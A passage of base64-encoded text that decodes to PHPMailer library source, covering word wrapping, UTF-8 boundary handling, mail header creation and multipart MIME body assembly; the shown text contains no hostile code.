CAgICAgICAgICRsZW4gLT0gMjsKICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgJHBhcnQgPSBzdWJzdHIoJHdvcmQsIDAsICRsZW4pOwogICAgICAgICAgICAgICR3b3JkID0gc3Vic3RyKCR3b3JkLCAkbGVuKTsKICAgICAgICAgICAgICAkYnVmIC49ICcgJyAuICRwYXJ0OwogICAgICAgICAgICAgICRtZXNzYWdlIC49ICRidWYgLiBzcHJpbnRmKCI9JXMiLCBzZWxmOjpDUkxGKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkYnVmIC4gJHNvZnRfYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGJ1ZiA9ICcnOwogICAgICAgICAgfQogICAgICAgICAgd2hpbGUgKHN0cmxlbigkd29yZCkgPiAwKSB7CiAgICAgICAgICAgIGlmICgkbGVuZ3RoIDw9IDApIHsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRsZW4gPSAkbGVuZ3RoOwogICAgICAgICAgICBpZiAoJGlzX3V0ZjgpIHsKICAgICAgICAgICAgICAkbGVuID0gJHRoaXMtPlVURjhDaGFyQm91bmRhcnkoJHdvcmQsICRsZW4pOwogICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMSwgMSkgPT0gIj0iKSB7CiAgICAgICAgICAgICAgJGxlbi0tOwogICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMiwgMSkgPT0gIj0iKSB7CiAgICAgICAgICAgICAgJGxlbiAtPSAyOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRwYXJ0ID0gc3Vic3RyKCR3b3JkLCAwLCAkbGVuKTsKICAgICAgICAgICAgJHdvcmQgPSBzdWJzdHIoJHdvcmQsICRsZW4pOwoKICAgICAgICAgICAgaWYgKHN0cmxlbigkd29yZCkgPiAwKSB7CiAgICAgICAgICAgICAgJG1lc3NhZ2UgLj0gJHBhcnQgLiBzcHJpbnRmKCI9JXMiLCBzZWxmOjpDUkxGKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAkYnVmID0gJHBhcnQ7CiAgICAgICAgICAgIH0KICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgJGJ1Zl9vID0gJGJ1ZjsKICAgICAgICAgICRidWYgLj0gKCRlID09IDApID8gJHdvcmQgOiAoJyAnIC4gJHdvcmQpOwoKICAgICAgICAgIGlmIChzdHJsZW4oJGJ1ZikgPiAkbGVuZ3RoIGFuZCAkYnVmX28gIT0gJycpIHsKICAgICAgICAgICAgJG1lc3NhZ2UgLj0gJGJ1Zl9vIC4gJHNvZnRfYnJlYWs7CiAgICAgICAgICAgICRidWYgPSAkd29yZDsKICAgICAgICAgIH0KICAgICAgICB9CiAgICAgIH0KICAgICAgJG1lc3NhZ2UgLj0gJGJ1ZiAuIHNlbGY6OkNSTEY7CiAgICB9CgogICAgcmV0dXJuICRtZXNzYWdlOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIFVURjhDaGFyQm91bmRhcnkoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoKSB7CiAgICAkZm91bmRTcGxpdFBvcyA9IGZhbHNlOwogICAgJGxvb2tCYWNrID0gMzsKICAgIHdoaWxlICghJGZvdW5kU3BsaXRQb3MpIHsKICAgICAgJGxhc3RDaHVuayA9IHN1YnN0cigkZW5jb2RlZFRleHQsICRtYXhMZW5ndGggLSAkbG9va0JhY2ssICRsb29rQmFjayk7CiAgICAgICRlbmNvZGVkQ2hhclBvcyA9IHN0cnBvcygkbGFzdENodW5rLCAiPSIpOwogICAgICBpZiAoJGVuY29kZWRDaGFyUG9zICE9PSBmYWxzZSkgewogICAgICAgIC8vIEZvdW5kIHN0YXJ0IG9mIGVuY29kZWQgY2hhcmFjdGVyIGJ5dGUgd2l0aGluICRsb29rQmFjayBibG9jay4KICAgICAgICAvLyBDaGVjayB0aGUgZW5jb2RlZCBieXRlIHZhbHVlICh0aGUgMiBjaGFycyBhZnRlciB0aGUgJz0nKQogICAgICAgICRoZXggPSBzdWJzdHIoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoIC0gJGxvb2tCYWNrICsgJGVuY29kZWRDaGFyUG9zICsgMSwgMik7CiAgICAgICAgJGRlYyA9IGhleGRlYygkaGV4KTsKICAgICAgICBpZiAoJGRlYyA8IDEyOCkgeyAvLyBTaW5nbGUgYnl0ZSBjaGFyYWN0ZXIuCiAgICAgICAgICAvLyBJZiB0aGUgZW5jb2RlZCBjaGFyIHdhcyBmb3VuZCBhdCBwb3MgMCwgaXQgd2lsbCBmaXQKICAgICAgICAgIC8vIG90aGVyd2lzZSByZWR1Y2UgbWF4TGVuZ3RoIHRvIHN0YXJ0IG9mIHRoZSBlbmNvZGVkIGNoYXIKICAgICAgICAgICRtYXhMZW5ndGggPSAoJGVuY29kZWRDaGFyUG9zID09IDApID8gJG1heExlbmd0aCA6CiAgICAgICAgICAkbWF4TGVuZ3RoIC0gKCRsb29rQmFjayAtICRlbmNvZGVkQ2hhclBvcyk7CiAgICAgICAgICAkZm91bmRTcGxpdFBvcyA9IHRydWU7CiAgICAgICAgfSBlbHNlaWYgKCRkZWMgPj0gMTkyKSB7IC8vIEZpcnN0IGJ5dGUgb2YgYSBtdWx0aSBieXRlIGNoYXJhY3RlcgogICAgICAgICAgLy8gUmVkdWNlIG1heExlbmd0aCB0byBzcGxpdCBhdCBzdGFydCBvZiBjaGFyYWN0ZXIKICAgICAgICAgICRtYXhMZW5ndGggPSAkbWF4TGVuZ3RoIC0gKCRsb29rQmFjayAtICRlbmNvZGVkQ2hhclBvcyk7CiAgICAgICAgICAkZm91bmRTcGxpdFBvcyA9IHRydWU7CiAgICAgICAgfSBlbHNlaWYgKCRkZWMgPCAxOTIpIHsgLy8gTWlkZGxlIGJ5dGUgb2YgYSBtdWx0aSBieXRlIGNoYXJhY3RlciwgbG9vayBmdXJ0aGVyIGJhY2sKICAgICAgICAgICRsb29rQmFjayArPSAzOwogICAgICAgIH0KICAgICAgfSBlbHNlIHsKICAgICAgICAkZm91bmRTcGxpdFBvcyA9IHRydWU7CiAgICAgIH0KICAgIH0KICAgIHJldHVybiAkbWF4TGVuZ3RoOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIFNldFdvcmRXcmFwKCkgewogICAgaWYoJHRoaXMtPldvcmRXcmFwIDwgMSkgewogICAgICByZXR1cm47CiAgICB9CgogICAgc3dpdGNoKCR0aGlzLT5tZXNzYWdlX3R5cGUpIHsKICAgICAgY2FzZSAnYWx0JzoKICAgICAgY2FzZSAnYWx0X2lubGluZSc6CiAgICAgIGNhc2UgJ2FsdF9hdHRhY2gnOgogICAgICBjYXNlICdhbHRfaW5saW5lX2F0dGFjaCc6CiAgICAgICAgJHRoaXMtPkFsdEJvZHkgPSAkdGhpcy0+V3JhcFRleHQoJHRoaXMtPkFsdEJvZHksICR0aGlzLT5Xb3JkV3JhcCk7CiAgICAgICAgYnJlYWs7CiAgICAgIGRlZmF1bHQ6CiAgICAgICAgJHRoaXMtPkJvZHkgPSAkdGhpcy0+V3JhcFRleHQoJHRoaXMtPkJvZHksICR0aGlzLT5Xb3JkV3JhcCk7CiAgICAgICAgYnJlYWs7CiAgICB9CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gQ3JlYXRlSGVhZGVyKCkgewogICAgJHJlc3VsdCA9ICcnOwoKICAgICR1bmlxX2lkID0gbWQ1KHVuaXFpZCh0aW1lKCkpKTsKICAgICR0aGlzLT5ib3VuZGFyeVsxXSA9ICdiMV8nIC4gJHVuaXFfaWQ7CiAgICAkdGhpcy0+Ym91bmRhcnlbMl0gPSAnYjJfJyAuICR1bmlxX2lkOwogICAgJHRoaXMtPmJvdW5kYXJ5WzNdID0gJ2IzXycgLiAkdW5pcV9pZDsKCiAgICBpZiAoJHRoaXMtPk1lc3NhZ2VEYXRlID09ICcnKSB7CiAgICAgICRyZXN1bHQgLj0gJHRoaXMtPkhlYWRlckxpbmUoJ0RhdGUnLCBzZWxmOjpSRkNEYXRlKCkpOwogICAgfSBlbHNlIHsKICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+SGVhZGVyTGluZSgnRGF0ZScsICR0aGlzLT5NZXNzYWdlRGF0ZSk7CiAgICB9CgogICAgaWYgKCR0aGlzLT5SZXR1cm5QYXRoKSB7CiAgICAgICRyZXN1bHQgLj0gJHRoaXMtPkhlYWRlckxpbmUoJ1JldHVybi1QYXRoJywgJzwnLnRyaW0oJHRoaXMtPlJldHVyblBhdGgpLic+Jyk7CiAgICB9IGVsc2VpZiAoJHRoaXMtPlNlbmRlciA9PSAnJykgewogICAgICAkcmVzdWx0IC49ICR0aGlzLT5IZWFkZXJMaW5lKCdSZXR1cm4tUGF0aCcsICc8Jy50cmltKCR0aGlzLT5Gcm9tKS4nPicpOwogICAgfSBlbHNlIHsKICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+SGVhZGVyTGluZSgnUmV0dXJuLVBhdGgnLCAnPCcudHJpbSgkdGhpcy0+U2VuZGVyKS4nPicpOwogICAgfQoKICAgIGlmKCR0aGlzLT5NYWlsZXIgIT0gJ21haWwnKSB7CiAgICAgIGlmICgkdGhpcy0+U2luZ2xlVG8gPT09IHRydWUpIHsKICAgICAgICBmb3JlYWNoKCR0aGlzLT50byBhcyAkdCkgewogICAgICAgICAgJHRoaXMtPlNpbmdsZVRvQXJyYXlbXSA9ICR0aGlzLT5BZGRyRm9ybWF0KCR0KTsKICAgICAgICB9CiAgICAgIH0gZWxzZSB7CiAgICAgICAgaWYoY291bnQoJHRoaXMtPnRvKSA+IDApIHsKICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPkFkZHJBcHBlbmQoJ1RvJywgJHRoaXMtPnRvKTsKICAgICAgICB9IGVsc2VpZiAoY291bnQoJHRoaXMtPmNjKSA9PSAwKSB7CiAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5IZWFkZXJMaW5lKCdUbycsICd1bmRpc2Nsb3NlZC1yZWNpcGllbnRzOjsnKTsKICAgICAgICB9CiAgICAgIH0KICAgIH0KCiAgICAkZnJvbSA9IGFycmF5KCk7CiAgICAkZnJvbVswXVswXSA9IHRyaW0oJHRoaXMtPkZyb20pOwogICAgJGZyb21bMF1bMV0gPSAkdGhpcy0+RnJvbU5hbWU7CiAgICAkcmVzdWx0IC49ICR0aGlzLT5BZGRyQXBwZW5kKCdGcm9tJywgJGZyb20pOwoKICAgIGlmKGNvdW50KCR0aGlzLT5jYykgPiAwKSB7CiAgICAgICRyZXN1bHQgLj0gJHRoaXMtPkFkZHJBcHBlbmQoJ0NjJywgJHRoaXMtPmNjKTsKICAgIH0KCiAgICBpZigoKCR0aGlzLT5NYWlsZXIgPT0gJ3NlbmRtYWlsJykgfHwgKCR0aGlzLT5NYWlsZXIgPT0gJ21haWwnKSkgJiYgKGNvdW50KCR0aGlzLT5iY2MpID4gMCkpIHsKICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+QWRkckFwcGVuZCgnQmNjJywgJHRoaXMtPmJjYyk7CiAgICB9CgogICAgaWYoY291bnQoJHRoaXMtPlJlcGx5VG8pID4gMCkgewogICAgICAkcmVzdWx0IC49ICR0aGlzLT5BZGRyQXBwZW5kKCdSZXBseS1UbycsICR0aGlzLT5SZXBseVRvKTsKICAgIH0KCiAgICAvLyBtYWlsKCkgc2V0cyB0aGUgc3ViamVjdCBpdHNlbGYKICAgIGlmKCR0aGlzLT5NYWlsZXIgIT0gJ21haWwnKSB7CiAgICAgICRyZXN1bHQgLj0gJHRoaXMtPkhlYWRlckxpbmUoJ1N1YmplY3QnLCAkdGhpcy0+RW5jb2RlSGVhZGVyKCR0aGlzLT5TZWN1cmVIZWFkZXIoJHRoaXMtPlN1YmplY3QpKSk7CiAgICB9CgogICAgaWYoJHRoaXMtPk1lc3NhZ2VJRCAhPSAnJykgewogICAgICAkcmVzdWx0IC49ICR0aGlzLT5IZWFkZXJMaW5lKCdNZXNzYWdlLUlEJywgJHRoaXMtPk1lc3NhZ2VJRCk7CiAgICB9IGVsc2UgewogICAgICAkcmVzdWx0IC49IHNwcmludGYoIk1lc3NhZ2UtSUQ6IDwlc0Alcz4lcyIsICR1bmlxX2lkLCAkdGhpcy0+U2VydmVySG9zdG5hbWUoKSwgJHRoaXMtPkxFKTsKICAgIH0KICAgICRyZXN1bHQgLj0gJHRoaXMtPkhlYWRlckxpbmUoJ1gtUHJpb3JpdHknLCAkdGhpcy0+UHJpb3JpdHkpOwogICAgaWYgKCR0aGlzLT5YTWFpbGVyID09ICcnKSB7CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+SGVhZGVyTGluZSgnWC1NYWlsZXInLCAnUEhQTWFpbGVyICcuJHRoaXMtPlZlcnNpb24uJyAoaHR0cHM6Ly9naXRodWIuY29tL1BIUE1haWxlci9QSFBNYWlsZXIvKScpOwogICAgfSBlbHNlIHsKICAgICAgJG15WG1haWxlciA9IHRyaW0oJHRoaXMtPlhNYWlsZXIpOwogICAgICBpZiAoJG15WG1haWxlcikgewogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPkhlYWRlckxpbmUoJ1gtTWFpbGVyJywgJG15WG1haWxlcik7CiAgICAgIH0KICAgIH0KCiAgICBpZigkdGhpcy0+Q29uZmlybVJlYWRpbmdUbyAhPSAnJykgewogICAgICAkcmVzdWx0IC49ICR0aGlzLT5IZWFkZXJMaW5lKCdEaXNwb3NpdGlvbi1Ob3RpZmljYXRpb24tVG8nLCAnPCcgLiB0cmltKCR0aGlzLT5Db25maXJtUmVhZGluZ1RvKSAuICc+Jyk7CiAgICB9CgogICAgLy8gQWRkIGN1c3RvbSBoZWFkZXJzCiAgICBmb3IoJGluZGV4ID0gMDsgJGluZGV4IDwgY291bnQoJHRoaXMtPkN1c3RvbUhlYWRlcik7ICRpbmRleCsrKSB7CiAgICAgICRyZXN1bHQgLj0gJHRoaXMtPkhlYWRlckxpbmUodHJpbSgkdGhpcy0+Q3VzdG9tSGVhZGVyWyRpbmRleF1bMF0pLCAkdGhpcy0+RW5jb2RlSGVhZGVyKHRyaW0oJHRoaXMtPkN1c3RvbUhlYWRlclskaW5kZXhdWzFdKSkpOwogICAgfQogICAgaWYgKCEkdGhpcy0+c2lnbl9rZXlfZmlsZSkgewogICAgICAkcmVzdWx0IC49ICR0aGlzLT5IZWFkZXJMaW5lKCdNSU1FLVZlcnNpb24nLCAnMS4wJyk7CiAgICAgICRyZXN1bHQgLj0gJHRoaXMtPkdldE1haWxNSU1FKCk7CiAgICB9CgogICAgcmV0dXJuICRyZXN1bHQ7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gR2V0TWFpbE1JTUUoKSB7CiAgICAkcmVzdWx0ID0gJyc7CiAgICBzd2l0Y2goJHRoaXMtPm1lc3NhZ2VfdHlwZSkgewogICAgICBjYXNlICdpbmxpbmUnOgogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPkhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvcmVsYXRlZDsnKTsKICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5UZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbMV0uJyInKTsKICAgICAgICBicmVhazsKICAgICAgY2FzZSAnYXR0YWNoJzoKICAgICAgY2FzZSAnaW5saW5lX2F0dGFjaCc6CiAgICAgIGNhc2UgJ2FsdF9hdHRhY2gnOgogICAgICBjYXNlICdhbHRfaW5saW5lX2F0dGFjaCc6CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+SGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgJ211bHRpcGFydC9taXhlZDsnKTsKICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5UZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbMV0uJyInKTsKICAgICAgICBicmVhazsKICAgICAgY2FzZSAnYWx0JzoKICAgICAgY2FzZSAnYWx0X2lubGluZSc6CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+SGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgJ211bHRpcGFydC9hbHRlcm5hdGl2ZTsnKTsKICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5UZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbMV0uJyInKTsKICAgICAgICBicmVhazsKICAgICAgZGVmYXVsdDoKICAgICAgICAvLyBDYXRjaGVzIGNhc2UgJ3BsYWluJzogYW5kIGNhc2UgJyc6CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+VGV4dExpbmUoJ0NvbnRlbnQtVHlwZTogJy4kdGhpcy0+Q29udGVudFR5cGUuJzsgY2hhcnNldD0nLiR0aGlzLT5DaGFyU2V0KTsKICAgICAgICBicmVhazsKICAgIH0KICAgIC8vUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgaWYgKCR0aGlzLT5FbmNvZGluZyAhPSAnN2JpdCcpIHsKICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+SGVhZGVyTGluZSgnQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZycsICR0aGlzLT5FbmNvZGluZyk7CiAgICB9CgogICAgaWYoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+TEU7CiAgICB9CgogICAgcmV0dXJuICRyZXN1bHQ7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gR2V0U2VudE1JTUVNZXNzYWdlKCkgewogICAgcmV0dXJuICR0aGlzLT5NSU1FSGVhZGVyIC4gJHRoaXMtPm1haWxIZWFkZXIgLiBzZWxmOjpDUkxGIC4gJHRoaXMtPk1JTUVCb2R5OwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIENyZWF0ZUJvZHkoKSB7CiAgICAkYm9keSA9ICcnOwoKICAgIGlmICgkdGhpcy0+c2lnbl9rZXlfZmlsZSkgewogICAgICAkYm9keSAuPSAkdGhpcy0+R2V0TWFpbE1JTUUoKS4kdGhpcy0+TEU7CiAgICB9CgogICAgJHRoaXMtPlNldFdvcmRXcmFwKCk7CgogICAgc3dpdGNoKCR0aGlzLT5tZXNzYWdlX3R5cGUpIHsKICAgICAgY2FzZSAnaW5saW5lJzoKICAgICAgICAkYm9keSAuPSAkdGhpcy0+R2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdLCAnJywgJycsICcnKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+RW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICRib2R5IC49ICR0aGlzLT5MRS4kdGhpcy0+TEU7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkF0dGFjaEFsbCgnaW5saW5lJywgJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICBicmVhazsKICAgICAgY2FzZSAnYXR0YWNoJzoKICAgICAgICAkYm9keSAuPSAkdGhpcy0+R2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdLCAnJywgJycsICcnKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+RW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICRib2R5IC49ICR0aGlzLT5MRS4kdGhpcy0+TEU7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkF0dGFjaEFsbCgnYXR0YWNobWVudCcsICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgYnJlYWs7CiAgICAgIGNhc2UgJ2lubGluZV9hdHRhY2gnOgogICAgICAgICRib2R5IC49ICR0aGlzLT5UZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+SGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgJ211bHRpcGFydC9yZWxhdGVkOycpOwogICAgICAgICRib2R5IC49ICR0aGlzLT5UZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbMl0uJyInKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsyXSwgJycsICcnLCAnJyk7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJHRoaXMtPkVuY29kaW5nKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUuJHRoaXMtPkxFOwogICAgICAgICRib2R5IC49ICR0aGlzLT5BdHRhY2hBbGwoJ2lubGluZScsICR0aGlzLT5ib3VuZGFyeVsyXSk7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICRib2R5IC49ICR0aGlzLT5BdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgIGJyZWFrOwogICAgICBjYXNlICdhbHQnOgogICAgICAgICRib2R5IC49ICR0aGlzLT5HZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0sICcnLCAndGV4dC9wbGFpbicsICcnKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+RW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICRib2R5IC49ICR0aGlzLT5MRS4kdGhpcy0+TEU7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJycsICd0ZXh0L2h0bWwnLCAnJyk7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJHRoaXMtPkVuY29kaW5nKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUuJHRoaXMtPkxFOwogICAgICAgIGlmKCFlbXB0eSgkdGhpcy0+SWNhbCkpIHsKICAgICAgICAgICRib2R5IC49ICR0aGlzLT5HZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0sICcnLCAndGV4dC9jYWxlbmRhcjsgbWV0aG9kPVJFUVVFU1QnLCAnJyk7CiAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+RW5jb2RlU3RyaW5nKCR0aGlzLT5JY2FsLCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFLiR0aGlzLT5MRTsKICAgICAgICB9CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkVuZEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgYnJlYWs7CiAgICAgIGNhc2UgJ2FsdF9pbmxpbmUnOgogICAgICAgICRib2R5IC49ICR0aGlzLT5HZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0sICcnLCAndGV4dC9wbGFpbicsICcnKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+RW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICRib2R5IC49ICR0aGlzLT5MRS4kdGhpcy0+TEU7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPlRleHRMaW5lKCctLScgLiAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICRib2R5IC49ICR0aGlzLT5IZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L3JlbGF0ZWQ7Jyk7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPlRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsyXS4nIicpOwogICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+R2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCAnJywgJ3RleHQvaHRtbCcsICcnKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+RW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICRib2R5IC49ICR0aGlzLT5MRS4kdGhpcy0+TEU7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkF0dGFjaEFsbCgnaW5saW5lJywgJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkVuZEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgYnJlYWs7CiAgICAgIGNhc2UgJ2FsdF9hdHRhY2gnOgogICAgICAgICRib2R5IC49ICR0aGlzLT5UZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+SGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgJ211bHRpcGFydC9hbHRlcm5hdGl2ZTsnKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+VGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdLiciJyk7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICRib2R5IC49ICR0aGlzLT5HZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICcnLCAndGV4dC9wbGFpbicsICcnKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+RW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICRib2R5IC49ICR0aGlzLT5MRS4kdGhpcy0+TEU7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsyXSwgJycsICd0ZXh0L2h0bWwnLCAnJyk7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJHRoaXMtPkVuY29kaW5nKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUuJHRoaXMtPkxFOwogICAgICAgICRib2R5IC49ICR0aGlzLT5FbmRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0pOwogICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+QXR0YWNoQWxsKCdhdHRhY2htZW50JywgJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICBicmVhazsKICAgICAgY2FzZSAnYWx0X2lubGluZV9hdHRhY2gnOgogICAgICAgICRib2R5IC49ICR0aGlzLT5UZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+SGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgJ211bHRpcGFydC9hbHRlcm5hdGl2ZTsnKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+VGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdLiciJyk7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICRib2R5IC49ICR0aGlzLT5HZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICcnLCAndGV4dC9wbGFpbicsICcnKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+RW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICRib2R5IC49ICR0aGlzLT5MRS4kdGhpcy0+TEU7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPlRleHRMaW5lKCctLScgLiAkdGhpcy0+Ym91bmRhcnlbMl0pOwogICAgICAgICRib2R5IC49ICR0aGlzLT5IZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L3JlbGF0ZWQ7Jyk7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPlRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVszXS4nIicpOwogICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+R2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzNdLCAnJywgJ3RleHQvaHRtbCcsICcnKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+RW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICRib2R5IC49ICR0aGlzLT5MRS4kdGhpcy0+TEU7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkF0dGFjaEFsbCgnaW5saW5lJywgJHRoaXMtPmJvdW5kYXJ5WzNdKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgJGJvZHkgLj0g